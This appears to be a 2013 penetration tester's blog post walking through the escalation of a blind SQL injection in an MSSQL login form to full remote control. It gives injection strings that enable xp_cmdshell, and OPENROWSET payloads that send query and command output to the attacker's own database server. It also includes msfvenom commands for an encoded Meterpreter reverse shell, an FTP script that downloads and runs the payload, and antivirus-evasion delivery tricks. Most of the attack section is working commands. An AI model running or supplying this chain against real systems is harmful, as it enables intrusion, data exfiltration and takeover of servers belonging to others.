Wednesday, September 25, 2013

Blind SQLi -> SQLi -> Command Execution -> Meterpreter - Based On A True Story

This is going to be a long one. For a quick rundown, see the video of this process from start-finish at <Ugh - Had to take the video down for censoring, nothing interesting, just some machinenames that I can't post. Tried editing with OpenShot and was too much work, anyone know an easier way?>

Blind SQLi on MSSQL is something I run into once in a while. In a recent test, I took the extra time to take it all the way to a Meterpreter shell manually and would like to document that process here. It involved one new trick I hadn't seen before, so here we go.

The SQL injection was on the UserName parameter, the following is an example of a sanitized POST request:

POST /login.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1337

Step 1 - Find The Injection Point For Stacked Queries

First we're going to want to confirm the SQL injection and figure out where to inject our own stacked queries. Stacked queries are just multiple queries appended together separated by semi-colons. For example, suppose the backend code for the SQL statement for this function looked like this:

query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";

In this case, we would set the UserName parameter to "test'--" which would result in the following query being constructed:

query = "SELECT * FROM Users WHERE userName = 'test'--AND password = 'testpassword'

Notice that the highlighted section is commented out. Sometimes things are a little more complicated, as was true in this example. Suppose the code creating the query looked like this:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;

In this case, we would need to set our UserName parameter to "test')--" so that we would get the following:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')--' AND password ='"+password+"'") as tempTable;

To find out if we've got it right, we need to create a stacked query that will have a noticeable result, a great way to do this is to introduce a delay. Consider setting UserName = "test'); WAITFOR DELAY '000:00:20';--". If everything was done right, we should see a 20s delay in the response and can move on to the next step! You may need to add more braces or quotes, try to imagine what the query may look like.

Step 2 - Gaining Sight

Blind SQL injection can be extremely frustrating to work with. The following technique was jacked from
and works very well in many cases.

It depends on the DB user having a certain set of privileges. They either need to be able to run the sp_configure command, or "Ad Hoc Distributed Queries". Issue the following 6 commands, in this order, to attempt to enable "Ad Hoc Distributed Queries" (and while we're at it, xp_cmbshell). You'll want to put these commands in the highlighted section of the UserName parameter as follows:

UserName = "test');<SQL TO INJECT>;--"

exec sp_configure 'show advanced options', 1
exec sp_configure 'Ad Hoc Distributed Queries', 1
exec sp_configure xp_cmdshell, 1

If all went well we should now be able to cause the remote victim database to dump query results back to a local instance of MSSQL that we (the attackers) are running.

Testing For Success

It's very important at this point to test whether the results of the sp_configure commands succeeded. I've developed a quick and easy technique for doing this that has worked great for me many times. It involves setting up DNSCat ( on a server. You need a domain and have to configure your machine running DNSCat to be the authoritative nameserver for some subdomain on it.

On your server run "./dnscat --listen"

Through the SQL Injection run the command:

exec xp_cmdshell 'ping'

The HTTP parameter will look like UserName = "test');exec xp_cmdshell 'ping'' ;--"

You should now see DNS lookups coming to the console in dnscat for 'test123'. This is a great way to test command execution since most organizations will allow recursive DNS lookups outbound, even when other filters are in place, and the ping/host commands are fairly universal.

At this point you have blind command execution and can skip straight to Step 5, or continue on with the following.

Configuring the Local DB

To do this, you'll need to install Microsoft SQL Server Express

Once installed, you need to set up and configure the database to accept remote connections with SQL server authentication. This was a bit of a headache to get right for me, so I'll outline some of the key steps:

1) Install SQL server express

2) Set up a database by running the following commands in SQL server management studio
  • CREATE DATABASE output_db;
  • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
3) Configure the database listener to accept remote connections. This is done by right clicking on your DB listener in SQL server management studio, select "Properties". Under "Security" you must allow "SQL Server and Windows Authentication". Under "Connections" you must tick "Allow Remote Connections"

4) Create a database user. This is done by expanding the tree for your DB Listener in Management Studio and selecting "Security -> Logins", right click on Logins and add a new SQL user.

5) In the Start Menu, Under SQL Server, Configuration Tools, you must open the SQL Server Configuration Manager. Under "SQL Server Network Configuration", double click on "Protocols for SQL Express", then double click on "TCP/IP". Under "IP Addresses" tab, at the bottom there is an "IP ALL" section. Set the "TCP Port" value to "1433"

6) Disable Windows Firewall and set up any port forwarding you need on your router. You just need to forward 1433/tcp.

7) Restart the database through the management console.

8) Do a netstat -an, look for a listener on port 1433

Testing Locally

Chances are you messed something up by this point. I recommend testing your MSSQL and network configuration locally. Create an table called output with a single column of type "text". Open up a new query in SQL server management studio and try the following (replace highlighted parameters):

INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version

If successful this will insert your MSSQL Server version into the "output" table. Debug this until it works.

Exfiltrating Data

Now you're all set to exfiltrate data! Just inject the above command into the following again, replace <SQL TO INJECT> with INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version

UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version;--"

If you get the remote DB version back in your local output table, you're in luck! You can now run any query!

Step 3 - Command Execution

This is the interesting part where I deviate a bit from what I've seen before. Above we enabled command execution with the sp_reconfigure command, now we would like to run a command and get it's output. Consider injecting the following into the <SQL TO INJECT> portion of our payload:

create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) select * from #output where output is not null; drop table #output

This creates a temporary table called #output, sticks the results of our shell command (in this case 'dir') into it, then moves the contents of that table up to our local database server, and finally drops the temporary table! Full remote command execution!

Step 4 - Meterpreter

The fun doesn't really start until you've dropped your Meterpreter shell. There are a number of ways to do this. This time I chose an FTP script but have a few other interesting ideas as well.

The FTP method which is quite simple, is to just host your payload on an FTP server, then use command execution to download and execute it. I usually just run an anonymous vsftp server and then do the following in BackTrack:

Generate the payload:
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<YOUR IP> LPORT=4444 -f exe > /srv/ftp/payload.exe

Start your meterpreter handler:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 E

Now we can use command execution to grab and execute the payload. Run the following commands on the victim machine:

Create an FTP script:
echo open> ftp.txt     
echo <USERNAME>>> ftp.txt
echo <PASSWORD>>> ftp.txt
echo bin>> ftp.txt
echo get payload.exe>> ftp.txt
echo bye>> ftp.txt

Execute the script, download the payload:
ftp -s:ftp.txt

Run the payload:

Step 5 - Advanced Payload Delivery

So it didn't work... You've confirmed that you have blind command execution (see Step 2 - Testing for Success), but you don't have a shell.The victim could be filtering egress traffic, A/V could be mucking things up, who knows. Luckily I have some other interesting evasion strategies that I'll get into some light detail on. For an example see the video referenced at the beginning of this post.

Use the BackTrack "exe2bat.exe" utility to convert a stealthy payload into a batch file. I use a payload that tunnels a cmd shell over DNS requests. I use a custom version of dnscat ( with some minor code changes to improve stability and hardcode the IP address.

Rather than a custom payload, you can also use a Meterpreter payload in VBScript format. This is my favorite method and the first thing I usually try. Luckily we have Metasploit Pro and the dynamic payloads generated by it are GREAT at A/V evasion. Metasploit has a script to convert an executable into a VBScript file, I think it's called exe2vbs.rb. Once you have a VBScript file, you need to actually get it on the remote machine. I just create a batch file to do this similar to what 'exe2bat' does. At the beginning of each line in the VBS add "echo '" and at the end of each line add "' > notAPayload.vbs". Also you'll probably want to edit the VBS file that Metasploit generates. I like to hardcode the location where it creates the executable so I know where it is and somewhere that I know should be world-writable. This is all very hand-wavy, - if you have questions about this feel free to email me, or watch the video.

Whether you use exe2bat or exe2vbs and turn it into a batch file, the next step is basically the same. You want to run the batch file on the remote machine to restore your payload to executable format. Just import the batch file into BURP Intruder, set the target field to our <SQL TO INJECT> section of the parameter, set BURP to run in single threaded mode (maybe setup a little delay for good measure), and let it rip! This should get your executable payload to the victim purely through command execution and relatively painlessly. From here you can just run it.

For examples of this whole process from start-finish, see the 10 minute, audio less video referenced up top.


  1. Replies
    1. I know - I need someone to censor a few things out of the video for me before I can make it public unfortunately. Nothing actually sensitive, just some machine names internal to our lab that might allude to client names.

  2. This comment has been removed by a blog administrator.